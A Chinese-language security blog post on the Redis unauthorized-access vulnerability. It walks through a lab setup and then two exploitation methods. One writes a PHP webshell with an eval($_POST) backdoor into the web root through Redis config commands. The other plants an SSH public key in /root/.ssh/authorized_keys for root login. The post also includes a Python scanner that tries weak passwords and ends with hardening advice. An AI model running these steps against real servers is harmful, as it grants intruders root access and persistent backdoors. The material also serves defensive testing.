Redis 未授權訪問漏洞(附Python指令碼)

Bypass007發表於2017-09-21

0x01 環境搭建

#下載並安裝
cd /tmp
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
#啟動redis服務
cd src
./redis-server

啟動redis服務程式後,就可以使用測試客戶端程式redis-cli和redis服務互動了。 比如:

root@kali:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140
192.168.125.140:6379> ping
PONG
192.168.125.140:6379>

0x02 未授權訪問漏洞測試

使用redis客戶端直接無賬號成功登入redis:

從登入的結果可以看出該redis服務對公網開放,且未啟用認證。

利用redis寫webshell

利用前提:

1.redis未授權 能redis-cli連上

2.開了web並且知道路徑(如利用phpinfo)

我們可以將dir設定為一個目錄a,而dbfilename為檔名b,再執行save或bgsave,則我們就可以寫入一個路徑為a/b的任意檔案:

config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save

當資料庫過大時,redis寫shell的小技巧:

<?php 
set_time_limit(0);
$fp=fopen('wtf.php','w');
fwrite($fp,'<?php @eval($_POST[\"mmbns233\"]);?>');
exit();
?>

利用"公私鑰"認證獲取root許可權

 ssh免密碼配置

ssh-keygen -t rsa -P ''     #生成公鑰/私鑰對                           
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt  #將公鑰寫入 foo.txt 檔案
連線 Redis 寫入檔案
cat foo.txt | ./redis-cli -h 192.168.125.140  -x set crackit
./redis-cli -h 192.168.125.140
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save

利用私鑰成功登入redis伺服器

 

0x03 Pyhton指令碼自動化測試

可用來測試是否存在未授權或弱口令的情況

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授權訪問"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密碼:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

Redis測試:

0x03 解決方案

1、比較安全的辦法是採用繫結IP的方式來進行控制。

 請在redis.conf檔案找到如下配置

# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1

把# bind 127.0.0.1前面的 註釋#號去掉,然後把127.0.0.1改成你允許訪問你的redis伺服器的ip地址,表示只允許該ip進行訪問,這種情況下,我們在啟動redis伺服器的時候不能再用:redis-server,改為:redis-server path/redis.conf 即在啟動的時候指定需要載入的配置檔案,其中path/是你上面修改的redis配置檔案所在目錄,這個方法有一點不太好,我難免有多臺機器訪問一個redis服務。

2、設定密碼,以提供遠端登陸

開啟redis.conf配置檔案,找到requirepass,然後修改如下:

requirepass yourpassword
yourpassword就是redis驗證密碼,設定密碼以後發現可以登陸,但是無法執行命令了。

命令如下:
redis-cli -h yourIp -p yourPort//啟動redis客戶端,並連線伺服器
keys * //輸出伺服器中的所有key
報錯如下
(error) ERR operation not permitted

這時候你可以用授權命令進行授權,就不報錯了

命令如下:
auth youpassword

 

 

參考文章:

Redis 安裝 http://www.runoob.com/redis/redis-install.html

Redis未授權訪問漏洞  http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

Redis 未授權訪問配合 SSH key 檔案利用分析  http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Redis未授權訪問漏洞利用姿勢 http://www.jianshu.com/p/e550628ba1bc

 

相關文章